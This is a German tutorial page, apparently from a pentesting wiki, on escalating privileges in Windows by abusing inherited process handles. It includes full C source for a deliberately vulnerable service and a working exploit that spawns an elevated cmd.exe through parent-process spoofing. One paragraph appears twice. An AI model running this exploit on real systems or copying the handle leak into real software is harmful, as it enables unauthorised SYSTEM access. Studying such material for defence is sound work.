Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Einführung
Handles in einem Prozess ermöglichen den Zugriff auf verschiedene Windows-Ressourcen:
Es gab bereits mehrere Fälle von Privilegieneskalation, bei denen ein privilegierter Prozess mit offenen und vererbbaren Handles einen unprivilegierten Prozess ausgeführt hat, wodurch diesem Zugriff auf all diese Handles gewährt wurde.
Stellen Sie sich zum Beispiel vor, dass ein als SYSTEM ausgeführter Prozess einen neuen Prozess öffnet (OpenProcess()) mit vollen Zugriffsrechten. Derselbe Prozess erstellt auch einen neuen Prozess (CreateProcess()), mit niedrigen Berechtigungen, aber unter Vererbung aller offenen Handles des Hauptprozesses.
Dann, wenn Sie vollen Zugriff auf den wenig privilegierten Prozess haben, können Sie das offene Handle zum erstellten privilegierten Prozess mit OpenProcess() ergreifen und einen Shellcode einschleusen.
Interessante Handles
Prozess
Wie im ersten Beispiel erwähnt, wenn ein unprivilegierter Prozess ein Prozess-Handle eines privilegierten Prozesses mit ausreichenden Berechtigungen erbt, kann er beliebigen Code darauf ausführen.
In diesem ausgezeichneten Artikel können Sie sehen, wie Sie jedes Prozess-Handle ausnutzen können, das eine der folgenden Berechtigungen hat:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
Ähnlich wie bei den Prozess-Handles, wenn ein unprivilegierter Prozess ein Thread-Handle eines privilegierten Prozesses mit ausreichenden Berechtigungen erbt, kann er beliebigen Code darauf ausführen.
In diesem ausgezeichneten Artikel können Sie auch sehen, wie Sie jedes Prozess-Handle ausnutzen können, das eine der folgenden Berechtigungen hat:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Datei-, Schlüssel- und Abschnitts-Handles
Wenn ein unprivilegierter Prozess ein Handle mit Schreibberechtigungen über eine privilegierte Datei oder Registrierung erbt, kann er die Datei/Registrierung überschreiben (und mit viel Glückprivilegierte Eskalation durchführen).
Abschnitts-Handles sind ähnlich wie Datei-Handles, der gemeinsame Name dieser Arten von Objekten ist "File Mapping". Sie werden verwendet, um mit großen Dateien zu arbeiten, ohne die gesamte Datei im Speicher zu behalten. Das macht die Ausnutzung irgendwie "ähnlich" der Ausnutzung eines Datei-Handles.
Wie man Handles von Prozessen sieht
Process Hacker
Process Hacker ist ein kostenloses Tool, das Sie herunterladen können. Es verfügt über mehrere erstaunliche Optionen zur Inspektion von Prozessen, darunter die Möglichkeit, die Handles jedes Prozesses zu sehen.
Beachten Sie, dass zum Anzeigen aller Handles aller Prozesse das SeDebugPrivilege erforderlich ist (daher müssen Sie Process Hacker als Administrator ausführen).
Um die Handles eines Prozesses zu sehen, klicken Sie mit der rechten Maustaste auf den Prozess und wählen Sie Handles aus:
Sie können dann mit der rechten Maustaste auf das Handle klicken und die Berechtigungen überprüfen:
Sysinternals Handles
Das HandlesBinärprogramm von Sysinternals listet ebenfalls die Handles pro Prozess in der Konsole auf:
LeakedHandlesFinder
Dieses Tool ermöglicht es Ihnen, ausgelaufene Handles zu überwachen und sie sogar automatisch auszunutzen, um Privilegien zu eskalieren.
Methodik
Nun, da Sie wissen, wie Sie Handles von Prozessen finden können, müssen Sie überprüfen, ob ein unprivilegierter Prozess Zugriff auf privilegierte Handles hat. In diesem Fall könnte der Benutzer des Prozesses in der Lage sein, das Handle zu erhalten und es missbräuchlich verwenden, um Privilegien zu eskalieren.
Es wurde bereits erwähnt, dass Sie das SeDebugPrivilege benötigen, um auf alle Handles zuzugreifen. Aber ein Benutzer kann immer noch auf die Handles seiner Prozesse zugreifen, daher kann es nützlich sein, wenn Sie die Berechtigungen des Benutzers nur von diesem Benutzer ausführen möchten, um die Tools mit den regulären Benutzerberechtigungen auszuführen**.
Zum Beispiel gehört der folgende Code zu einem Windows-Dienst, der verwundbar wäre. Der verwundbare Code dieses Dienst-Binärs befindet sich innerhalb der Exploit-Funktion. Diese Funktion beginnt damit, einen neuen Handle-Prozess mit vollständigem Zugriff zu erstellen. Anschließend wird ein Prozess mit niedrigen Berechtigungen erstellt (indem das Token mit niedrigen Berechtigungen von explorer.exe kopiert wird), der C:\users\username\desktop\client.exe ausführt. Die Verwundbarkeit besteht darin, dass der Prozess mit niedrigen Berechtigungen mit bInheritHandles als TRUE erstellt wird.
Daher ist dieser Prozess mit niedrigen Berechtigungen in der Lage, das Handle des zuerst erstellten Prozesses mit hohen Berechtigungen zu erfassen und einen Shellcode einzufügen und auszuführen (siehe nächster Abschnitt).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Exploit Beispiel 1
In einem realen Szenario werden Sie wahrscheinlich nicht in der Lage sein, das Binärprogramm zu kontrollieren, das vom anfälligen Code ausgeführt wird (C:\users\username\desktop\client.exe in diesem Fall). Wahrscheinlich werden Sie einen Prozess kompromittieren und prüfen müssen, ob Sie auf einen anfälligen Handle eines privilegierten Prozesses zugreifen können.
In diesem Beispiel finden Sie den Code eines möglichen Exploits für C:\users\username\desktop\client.exe.
Der interessanteste Teil dieses Codes befindet sich in GetVulnProcHandle. Diese Funktion wird alle Handles abrufen, dann wird überprüft, ob eines davon zur gleichen PID gehört und ob das Handle zu einem Prozess gehört. Wenn all diese Anforderungen erfüllt sind (ein zugängliches offenes Prozess-Handle gefunden wurde), wird versucht, einen Shellcode unter Ausnutzung des Handles des Prozesses einzuspeisen und auszuführen.
Die Injektion des Shellcodes erfolgt innerhalb der Inject-Funktion und schreibt einfach den Shellcode in den privilegierten Prozess und erstellt einen Thread im selben Prozess, um den Shellcode auszuführen.
In einem realen Szenario werden Sie wahrscheinlich nicht in der Lage sein, das ausführbare Binärprogramm zu steuern, das vom anfälligen Code ausgeführt wird (C:\users\username\desktop\client.exe in diesem Fall). Wahrscheinlich werden Sie einen Prozess kompromittieren und prüfen müssen, ob Sie auf einen anfälligen Handle eines privilegierten Prozesses zugreifen können.
In diesem Beispiel wird anstatt den offenen Handle zu missbrauchen, um Shellcode einzufügen und auszuführen, das Token des privilegierten offenen Handle-Prozesses verwendet, um einen neuen zu erstellen. Dies wird in den Zeilen von 138 bis 148 durchgeführt.
Beachten Sie, wie die Funktion UpdateProcThreadAttribute mit dem Attribut PROC_THREAD_ATTRIBUTE_PARENT_PROCESS und dem Handle zum offenen privilegierten Prozess verwendet wird. Dies bedeutet, dass der erstellte Prozess-Thread, der _cmd.exe ausführt, über dieselben Token-Privilegien wie der offene Handle-Prozess verfügen wird.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Dieses Tool ermöglicht es Ihnen, ausgelaufene Handles zu überwachen, um verwundbare zu finden und sie sogar automatisch auszunutzen. Es hat auch ein Tool, um eines auslaufen zu lassen.